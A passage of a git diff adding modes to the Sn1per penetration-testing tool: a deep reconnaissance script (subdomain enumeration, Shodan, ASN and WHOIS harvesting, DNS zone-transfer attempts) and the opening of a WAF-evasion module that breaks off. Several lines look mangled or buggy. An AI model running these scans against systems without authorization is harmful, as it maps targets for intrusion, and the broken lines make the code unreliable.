+https://sn1persecurity.com +EOF + +echo -e "$OKGREEN[*]$RESET Real-time collaboration features completed for $TARGET" +echo -e "$OKGREEN[*]$RESET Collaboration systems activated: $(ls $LOOT_DIR/collaboration/ | wc -l) systems" +echo -e "$OKGREEN[*]$RESET Report saved to: $LOOT_DIR/collaboration/collaboration-report-$TARGET.txt" + +echo "[sn1persecurity.com] •?((¯°·._.• Completed Sn1per collaboration mode: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt +if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Completed Sn1per collaboration mode: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" +fi diff --git a/modes/deep-recon.sh b/modes/deep-recon.sh new file mode 100644 index 00000000..8a181a42 --- /dev/null +++ b/modes/deep-recon.sh @@ -0,0 +1,379 @@ +#!/bin/bash +# DEEP RECON SCAN ##################################################################################################### +# Advanced reconnaissance techniques for comprehensive attack surface mapping + +if [[ "$REPORT" = "1" ]]; then + args="-t $TARGET" + if [[ "$OSINT" = "1" ]]; then + args="$args -o" + fi + if [[ "$AUTO_BRUTE" = "1" ]]; then + args="$args -b" + fi + if [[ "$FULLNMAPSCAN" = "1" ]]; then + args="$args -fp" + fi + if [[ "$RECON" = "1" ]]; then + args="$args -re" + fi + if [[ "$MODE" = "port" ]]; then + args="$args -m port" + fi + if [[ ! -z "$PORT" ]]; then + args="$args -p $PORT" + fi + if [[ ! -z "$WORKSPACE" ]]; then + args="$args -w $WORKSPACE" + fi + args="$args --noreport" + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +"%Y%m%d%H%M"`.txt 2>&1 + exit +fi + +echo -e "$OKRED ____ $RESET" +echo -e "$OKRED _________ / _/___ ___ _____$RESET" +echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" +echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" +echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" +echo -e "$OKRED /_/ $RESET" +echo -e "$RESET" +echo -e "$OKORANGE + -- --=[https://sn1persecurity.com" +echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz" +echo -e "$OKORANGE + -- --=[Deep Recon Mode - Advanced Attack Surface Mapping" +echo -e "$RESET" + +if [[ ! -z $WORKSPACE ]]; then + LOOT_DIR=$WORKSPACE_DIR +fi + +echo "$TARGET" >> $LOOT_DIR/domains/targets.txt +if [[ "$MODE" = "" ]]; then + MODE="deep-recon" + echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null +else + echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null +fi +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/${TARGET}-${MODE}.txt 2> /dev/null +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2> /dev/null +ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + +echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per deep recon scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt +if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per deep recon scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" +fi + +# Initialize deep recon directories +mkdir -p $LOOT_DIR/deep-recon/{ssl,analytics,supply-chain,google-fu,tlds,o365,shodan,asn,crunchbase,dmarc,favicon,esoteric} 2>/dev/null + +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED INITIALIZING DEEP RECONNAISSANCE $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# 1. DOMAIN RECONNAISSANCE +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED ADVANCED DOMAIN RECONNAISSANCE $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# DNS enumeration with multiple tools +if [[ "$SUBLIST3R" = "1" ]]; then + echo -e "$OKBLUE[*]$RESET Running Sublist3r for subdomain enumeration..." + python3 $PLUGINS_DIR/Sublist3r/sublist3r.py -d $TARGET -vvv -o $LOOT_DIR/domains/domains-$TARGET-sublist3r.txt 2>/dev/null > /dev/null + cat $LOOT_DIR/domains/domains-$TARGET-sublist3r.txt 2>/dev/null | grep $TARGET >> $LOOT_DIR/domains/domains-$TARGET-full.txt 2>/dev/null +fi + +if [[ "$AMASS" = "1" ]]; then + echo -e "$OKBLUE[*]$RESET Running Amass for comprehensive subdomain enumeration..." + amass enum -ip -o $LOOT_DIR/domains/domains-$TARGET-amass.txt -rf $PLUGINS_DIR/massdns/lists/resolvers.txt -d $TARGET 2>/dev/null > /dev/null + cut -d" " -f1 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-amass-sorted.txt + cut -d" " -f2 $LOOT_DIR/domains/domains-$TARGET-amass.txt 2>/dev/null > $LOOT_DIR/ips/amass-ips-$TARGET.txt + + # Reverse WHOIS lookup + echo -e "$OKBLUE[*]$RESET Running Amass reverse WHOIS lookup..." + amass intel -whois -d $TARGET > $LOOT_DIR/domains/domains-$TARGET-reverse-whois.txt 2> /dev/null +fi + +if [[ "$SUBFINDER" = "1" ]]; then + echo -e "$OKBLUE[*]$RESET Running Subfinder for fast subdomain enumeration..." + subfinder -o $LOOT_DIR/domains/domains-$TARGET-subfinder.txt -d $TARGET -nW -rL $INSTALL_DIR/wordlists/resolvers.txt -t $THREADS 2>/dev/null > /dev/null +fi + +# Certificate Transparency logs +echo -e "$OKBLUE[*]$RESET Gathering certificate subdomains from crt.sh..." +curl -s "https://crt.sh/?q=%25.$TARGET" > $LOOT_DIR/deep-recon/ssl/crt-$TARGET-raw.txt +cat $LOOT_DIR/deep-recon/ssl/crt-$TARGET-raw.txt | grep $TARGET | grep TD | sed -e 's///g' | sed -e 's/TD//g' | sed -e 's/BR/\n/g' | sed -e 's/\///g' | sed -e 's/ //g' | sed -n '1!p' | grep -v "*" | sort -u > $LOOT_DIR/domains/domains-$TARGET-crt.txt + +# Project Sonar +echo -e "$OKBLUE[*]$RESET Gathering subdomains from Project Sonar..." +curl -fsSL "https://dns.bufferover.run/dns?q=.$TARGET" | sed 's/\"//g' | cut -f2 -d "," | grep -v "
" | sort -u | grep $TARGET > $LOOT_DIR/domains/domains-$TARGET-projectsonar.txt + +# RapidDNS +echo -e "$OKBLUE[*]$RESET Gathering subdomains from RapidDNS..." +curl -s "https://rapiddns.io/subdomain/$TARGET?full=1&down=1#exportData()" | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep "$TARGET" | cut -d\/ -f3 > $LOOT_DIR/domains/domains-$TARGET-rapiddns.txt + +# 2. SHODAN INTEGRATION +if [[ "$SHODAN" = "1" ]] && [[ ! -z "$SHODAN_API_KEY" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED SHODAN ASSET DISCOVERY $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + + shodan init $SHODAN_API_KEY + echo -e "$OKBLUE[*]$RESET Searching for $TARGET on Shodan..." + shodan search "hostname:*.$TARGET" > $LOOT_DIR/deep-recon/shodan/shodan-$TARGET.txt 2> /dev/null + awk '{print $3}' $LOOT_DIR/deep-recon/shodan/shodan-$TARGET.txt 2> /dev/null | grep -v "\;" > $LOOT_DIR/domains/domains-$TARGET-shodan.txt 2> /dev/null + awk '{print $1}' $LOOT_DIR/deep-recon/shodan/shodan-$TARGET.txt 2> /dev/null >> $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null + + # Shodan host enumeration + echo -e "$OKBLUE[*]$RESET Enumerating Shodan hosts for $TARGET..." + shodan search "org:$TARGET" > $LOOT_DIR/deep-recon/shodan/shodan-org-$TARGET.txt 2> /dev/null + shodan search "ssl:$TARGET" > $LOOT_DIR/deep-recon/shodan/shodan-ssl-$TARGET.txt 2> /dev/null + + # Shodan vulnerabilities + echo -e "$OKBLUE[*]$RESET Searching for vulnerabilities on Shodan..." + shodan search "vuln:$TARGET" > $LOOT_DIR/deep-recon/shodan/shodan-vulns-$TARGET.txt 2> /dev/null +fi + +# 3. ASN ANALYSIS +if [[ "$ASN_CHECK" = "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED ASN ANALYSIS $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + + # Get ASN information + whois -h whois.cymru.com " -v $TARGET" > $LOOT_DIR/deep-recon/asn/asn-$TARGET.txt 2>/dev/null + ASN=$(grep "^AS" $LOOT_DIR/deep-recon/asn/asn-$TARGET.txt | awk '{print $1}' | cut -d'|' -f1 | tr -d 'AS') + + if [[ ! -z "$ASN" ]]; then + echo -e "$OKBLUE[*]$RESET Found ASN: $ASN for $TARGET" + echo -e "$OKBLUE[*]$RESET Enumerating all IPs in ASN $ASN..." + whois -h whois.radb.net "!g$ASN" | grep -v "^%" | grep -v "^$" | grep -v "^AS" | sort -u > $LOOT_DIR/deep-recon/asn/asn-$ASN-ips.txt + + # BGP Toolkit + echo -e "$OKBLUE[*]$RESET Gathering BGP information..." + curl -s "https://api.bgpview.io/asn/$ASN/prefixes" | jq -r '.data.ipv4_prefixes[].prefix' 2>/dev/null > $LOOT_DIR/deep-recon/asn/asn-$ASN-prefixes.txt + curl -s "https://api.bgpview.io/asn/$ASN/peers" | jq -r '.data[].asn' 2>/dev/null > $LOOT_DIR/deep-recon/asn/asn-$ASN-peers.txt + + # Hurricane Electric BGP Toolkit + echo -e "$OKBLUE[*]$RESET Gathering BGP information from Hurricane Electric..." + curl -s "https://bgp.he.net/AS$ASN" > $LOOT_DIR/deep-recon/asn/asn-$ASN-bgp.html + cat $LOOT_DIR/deep-recon/asn/asn-$ASN-bgp.html | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/[0-9]\{1,2\}' | sort -u > $LOOT_DIR/deep-recon/asn/asn-$ASN-prefixes-he.txt + fi +fi + +# 4. CRUNCHBASE INTEGRATION +if [[ ! -z "$CRUNCHBASE_API_KEY" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED CRUNCHBASE COMPANY INTELLIGENCE $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + + # Extract company name from target domain + COMPANY=$(echo $TARGET | sed 's/\..*//g' | sed 's/[^a-zA-Z0-9]//g') + echo -e "$OKBLUE[*]$RESET Searching Crunchbase for: $COMPANY" + + curl -s "https://api.crunchbase.com/api/v4/autocompletes?query=$COMPANY" -H "X-cb-api-key: $CRUNCHBASE_API_KEY" > $LOOT_DIR/deep-recon/crunchbase/crunchbase-$COMPANY.json 2>/dev/null + + if [[ -s $LOOT_DIR/deep-recon/crunchbase/crunchbase-$COMPANY.json ]]; then + # Parse company information + cat $LOOT_DIR/deep-recon/crunchbase/crunchbase-$COMPANY.json | jq -r '.entities[].identifier' 2>/dev/null > $LOOT_DIR/deep-recon/crunchbase/crunchbase-companies.txt + + # Get detailed company information + while read company_id; do + curl -s "https://api.crunchbase.com/api/v4/entities/organizations/$company_id" -H "X-cb-api-key: $CRUNCHBASE_API_KEY" > $LOOT_DIR/deep-recon/crunchbase/company-$company_id.json 2>/dev/null + + # Extract related domains + cat $LOOT_DIR/deep-recon/crunchbase/company-$company_id.json | jq -r '.properties.homepage_url' 2>/dev/null >> $LOOT_DIR/deep-recon/crunchbase/company-domains.txt 2>/dev/null + cat $LOOT_DIR/deep-recon/crunchbase/company-$company_id.json | jq -r '.properties.domain_aliases[]' 2>/dev/null >> $LOOT_DIR/deep-recon/crunchbase/company-domains.txt 2>/dev/null + done < $LOOT_DIR/deep-recon/crunchbase/crunchbase-companies.txt + fi +fi + +# 5. SSL/TLS RECONNAISSANCE +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED SSL/TLS RECONNAISSANCE $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# SSL Labs analysis +echo -e "$OKBLUE[*]$RESET Analyzing SSL configuration with SSL Labs..." +curl -s "https://api.ssllabs.com/api/v3/analyze?host=$TARGET" > $LOOT_DIR/deep-recon/ssl/ssllabs-$TARGET.json 2>/dev/null + +# Certificate analysis +echo -e "$OKBLUE[*]$RESET Analyzing SSL certificates..." +timeout 10 openssl s_client -connect $TARGET:443 -servername $TARGET /dev/null | openssl x509 -noout -text > $LOOT_DIR/deep-recon/ssl/cert-$TARGET.txt 2>/dev/null + +# Certificate chain analysis +echo -e "$OKBLUE[*]$RESET Analyzing certificate chain..." +echo | timeout 10 openssl s_client -connect $TARGET:443 -servername $TARGET -showcerts 2>/dev/null | sed -n '/Certificate chain/,/Server certificate/p' > $LOOT_DIR/deep-recon/ssl/cert-chain-$TARGET.txt 2>/dev/null + +# 6. REVERSE WHOIS & DNS +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED REVERSE WHOIS & DNS ANALYSIS $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Reverse WHOIS lookup +echo -e "$OKBLUE[*]$RESET Performing reverse WHOIS lookups..." +whois $TARGET > $LOOT_DIR/deep-recon/whois/whois-$TARGET.txt 2>/dev/null + +# Extract email addresses from WHOIS +cat $LOOT_DIR/deep-recon/whois/whois-$TARGET.txt | grep -i "registrant email\|admin email\|tech email" | grep -o '[a-zA-Z0-9._-]*@[a-zA-Z0-9._-]*' > $LOOT_DIR/deep-recon/whois/emails-$TARGET.txt + +# Reverse DNS lookups +echo -e "$OKBLUE[*]$RESET Performing reverse DNS lookups..." +host $TARGET > $LOOT_DIR/deep-recon/dns/reverse-dns-$TARGET.txt 2>/dev/null + +# 7. DMARC ANALYSIS +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED DMARC/SPF/DKIM ANALYSIS $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# DMARC record check +echo -e "$OKBLUE[*]$RESET Checking DMARC records..." +dig TXT _dmarc.$TARGET > $LOOT_DIR/deep-recon/dmarc/dmarc-$TARGET.txt 2>/dev/null + +# SPF record check +echo -e "$OKBLUE[*]$RESET Checking SPF records..." +dig TXT $TARGET | grep -i spf > $LOOT_DIR/deep-recon/dmarc/spf-$TARGET.txt 2>/dev/null + +# DKIM record check +echo -e "$OKBLUE[*]$RESET Checking DKIM records..." +for selector in default k1 k2 google mail; do + dig TXT $selector._domainkey.$TARGET > $LOOT_DIR/deep-recon/dmarc/dkim-$selector-$TARGET.txt 2>/dev/null +done + +# 8. ANALYTICS RELATIONSHIPS +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED ANALYTICS RELATIONSHIPS MAPPING $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Google Analytics detection +echo -e "$OKBLUE[*]$RESET Searching for Google Analytics IDs..." +curl -s "https://$TARGET" | grep -o 'UA-[0-9]*-[0-9]*\|G-[A-Z0-9]*' > $LOOT_DIR/deep-recon/analytics/ga-$TARGET.txt 2>/dev/null + +# Google Tag Manager detection +echo -e "$OKBLUE[*]$RESET Searching for Google Tag Manager IDs..." +curl -s "https://$TARGET" | grep -o 'GTM-[A-Z0-9]*' > $LOOT_DIR/deep-recon/analytics/gtm-$TARGET.txt 2>/dev/null + +# 9. SUPPLY CHAIN INVESTIGATION +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED SUPPLY CHAIN & SaaS DISCOVERY $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Third-party service detection +echo -e "$OKBLUE[*]$RESET Analyzing third-party services..." +curl -s "https://$TARGET" | grep -o 'src="[^"]*\|href="[^"]*' | grep -E '\.(js|css)' | sort -u > $LOOT_DIR/deep-recon/supply-chain/third-party-$TARGET.txt + +# CDN detection +echo -e "$OKBLUE[*]$RESET Detecting CDN usage..." +curl -s -I "https://$TARGET" | grep -i "server\|x-served-by\|x-amz\|x-cache" > $LOOT_DIR/deep-recon/supply-chain/cdn-$TARGET.txt + +# 10. GOOGLE-FU TECHNIQUES +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED GOOGLE-FU INTELLIGENCE GATHERING $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Privacy policy analysis +echo -e "$OKBLUE[*]$RESET Analyzing privacy policy..." +curl -s "https://$TARGET/privacy-policy\|https://$TARGET/privacy" > $LOOT_DIR/deep-recon/google-fu/privacy-policy-$TARGET.html 2>/dev/null + +# Trademark search (simulated) +echo -e "$OKBLUE[*]$RESET Searching for trademarks..." +echo "site:uspto.gov $TARGET" > $LOOT_DIR/deep-recon/google-fu/trademark-search-$TARGET.txt + +# 11. TLD SCANNING +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED TLD ENUMERATION $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Common TLD enumeration +for tld in com net org info biz co uk de fr it es; do + host $TARGET.$tld > $LOOT_DIR/deep-recon/tlds/tld-$TARGET-$tld.txt 2>/dev/null +done + +# 12. O365 ENUMERATION +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED O365 ENUMERATION $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# O365 domain enumeration +echo -e "$OKBLUE[*]$RESET Checking for O365 services..." +for service in autodiscover autoconfig lyncdiscover enterpriseenrollment enterpriseregistration; do + host $service.$TARGET > $LOOT_DIR/deep-recon/o365/o365-$service-$TARGET.txt 2>/dev/null +done + +# 13. FAVICON ANALYSIS +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED FAVICON ANALYSIS $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Download and analyze favicon +echo -e "$OKBLUE[*]$RESET Downloading favicon for analysis..." +curl -s "https://$TARGET/favicon.ico" -o $LOOT_DIR/deep-recon/favicon/favicon-$TARGET.ico 2>/dev/null + +# 14. SUB-SUBDOMAIN ENUMERATION +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED SUB-SUBDOMAIN ENUMERATION $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Generate sub-subdomain wordlist +echo -e "$OKBLUE[*]$RESET Generating sub-subdomain permutations..." +for sub in $(cat $LOOT_DIR/domains/domains-$TARGET-full.txt 2>/dev/null); do + for word in dev test staging api admin; do + echo "$word.$sub" >> $LOOT_DIR/deep-recon/sub-subdomains/sub-sub-$TARGET.txt 2>/dev/null + done +done + +# 15. ESOTERIC TECHNIQUES +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED ESOTERIC RECONNAISSANCE $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Wayback Machine +echo -e "$OKBLUE[*]$RESET Gathering historical URLs from Wayback Machine..." +curl -s "https://web.archive.org/cdx/search/cdx?url=*.$TARGET&output=json&fl=original" | jq -r '.[].original' 2>/dev/null > $LOOT_DIR/deep-recon/esoteric/wayback-$TARGET.txt + +# DNS zone transfer attempts +echo -e "$OKBLUE[*]$RESET Attempting DNS zone transfers..." +for ns in $(dig NS $TARGET | grep -o 'NS.*' | awk '{print $2}'); do + dig axfr $TARGET @$ns > $LOOT_DIR/deep-recon/esoteric/zonetransfer-$TARGET-$ns.txt 2>/dev/null +done + +# Compile all findings +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED COMPILING DEEP RECON FINDINGS $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# Aggregate all domains +cat $LOOT_DIR/domains/domains-*-$TARGET*.txt 2>/dev/null | grep $TARGET | sort -u > $LOOT_DIR/domains/domains-$TARGET-all.txt +cat $LOOT_DIR/deep-recon/crunchbase/company-domains.txt 2>/dev/null >> $LOOT_DIR/domains/domains-$TARGET-all.txt 2>/dev/null + +# Create comprehensive report +echo -e "$OKBLUE[*]$RESET Generating deep recon summary report..." +cat > $LOOT_DIR/deep-recon/deep-recon-summary-$TARGET.txt << EOF +DEEP RECONNAISSANCE SUMMARY FOR: $TARGET +Generated: $(date) +Scanner: Sn1per v$VER - Deep Recon Mode + +DOMAINS DISCOVERED: $(wc -l < $LOOT_DIR/domains/domains-$TARGET-all.txt 2>/dev/null) +IPS DISCOVERED: $(wc -l < $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null) + +MODULE RESULTS: +- SSL Analysis: $(ls -la $LOOT_DIR/deep-recon/ssl/ | wc -l) files +- Shodan Results: $(ls -la $LOOT_DIR/deep-recon/shodan/ | wc -l) files +- ASN Analysis: $(ls -la $LOOT_DIR/deep-recon/asn/ | wc -l) files +- Crunchbase: $(ls -la $LOOT_DIR/deep-recon/crunchbase/ | wc -l) files +- Analytics: $(ls -la $LOOT_DIR/deep-recon/analytics/ | wc -l) files +- Supply Chain: $(ls -la $LOOT_DIR/deep-recon/supply-chain/ | wc -l) files +- Esoteric: $(ls -la $LOOT_DIR/deep-recon/esoteric/ | wc -l) files + +HIGH PRIORITY FINDINGS: +$(grep -r "vulnerable\|CVE\|exploit\|leak\|credential" $LOOT_DIR/deep-recon/ 2>/dev/null | head -10) + +EOF + +echo -e "$OKGREEN[*]$RESET Deep reconnaissance completed for $TARGET" +echo -e "$OKGREEN[*]$RESET Report saved to: $LOOT_DIR/deep-recon/deep-recon-summary-$TARGET.txt" +echo -e "$OKGREEN[*]$RESET Total domains discovered: $(wc -l < $LOOT_DIR/domains/domains-$TARGET-all.txt 2>/dev/null)" +echo -e "$OKGREEN[*]$RESET Total IPs discovered: $(wc -l < $LOOT_DIR/ips/ips-all-unsorted.txt 2>/dev/null)" + +echo "[sn1persecurity.com] •?((¯°·._.• Completed Sn1per deep recon scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt +if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Completed Sn1per deep recon scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" +fi diff --git a/modes/discover.sh b/modes/discover.sh old mode 100644 new mode 100755 diff --git a/modes/evasion-techniques.sh b/modes/evasion-techniques.sh new file mode 100644 index 00000000..ef3e55e5 --- /dev/null +++ b/modes/evasion-techniques.sh @@ -0,0 +1,399 @@ +#!/bin/bash +# ADVANCED EVASION TECHNIQUES MODULE ##################################################################################################### +# Sophisticated evasion techniques for bypassing security controls, WAFs, and detection systems + +if [[ "$REPORT" = "1" ]]; then + args="-t $TARGET" + if [[ "$OSINT" = "1" ]]; then + args="$args -o" + fi + if [[ "$AUTO_BRUTE" = "1" ]]; then + args="$args -b" + fi + if [[ "$FULLNMAPSCAN" = "1" ]]; then + args="$args -fp" + fi + if [[ "$RECON" = "1" ]]; then + args="$args -re" + fi + if [[ "$MODE" = "evasion" ]]; then + args="$args -m evasion" + fi + if [[ ! -z "$PORT" ]]; then + args="$args -p $PORT" + fi + if [[ ! -z "$WORKSPACE" ]]; then + args="$args -w $WORKSPACE" + fi + args="$args --noreport" + sniper $args | tee $LOOT_DIR/output/sniper-$TARGET-`date +"%Y%m%d%H%M"`.txt 2>&1 + exit +fi + +echo -e "$OKRED ____ $RESET" +echo -e "$OKRED _________ / _/___ ___ _____$RESET" +echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET" +echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET" +echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET" +echo -e "$OKRED /_/ $RESET" +echo -e "$RESET" +echo -e "$OKORANGE + -- --=[https://sn1persecurity.com" +echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz" +echo -e "$OKORANGE + -- --=[Advanced Evasion Techniques Mode - Sophisticated Bypass Methods" +echo -e "$RESET" + +if [[ ! -z $WORKSPACE ]]; then + LOOT_DIR=$WORKSPACE_DIR +fi + +echo "$TARGET" >> $LOOT_DIR/domains/targets.txt +if [[ "$MODE" = "" ]]; then + MODE="evasion-techniques" + echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2>/dev/null +else + echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2>/dev/null +fi +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/${TARGET}-${MODE}.txt 2>/dev/null +echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running_${TARGET}_${MODE}.txt 2>/dev/null +ls -lh $LOOT_DIR/scans/running_*.txt 2> /dev/null | wc -l 2> /dev/null > $LOOT_DIR/scans/tasks-running.txt + +echo "[sn1persecurity.com] •?((¯°·._.• Started Sn1per evasion techniques scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt +if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then + /bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Started Sn1per evasion techniques scan: $TARGET [${MODE}] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" +fi + +# Initialize evasion directories +mkdir -p $LOOT_DIR/evasion-techniques/{waf-bypass,ids-evasion,stealth-scanning,fragmentation,obfuscation} 2>/dev/null + +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED INITIALIZING ADVANCED EVASION TECHNIQUES $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +# 1. WAF BYPASS TECHNIQUES +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" +echo -e "$OKRED WAF BYPASS TECHNIQUES $RESET" +echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + +echo -e "$OKBLUE[*]$RESET Testing WAF bypass techniques..." + +# WAF Detection +echo -e "$OKBLUE[*]$RESET Detecting WAF presence..." +wafw00f $TARGET > $LOOT_DIR/evasion-techniques/waf-bypass/waf-detection-$TARGET.txt 2>/dev/null + +# SQL Injection bypass 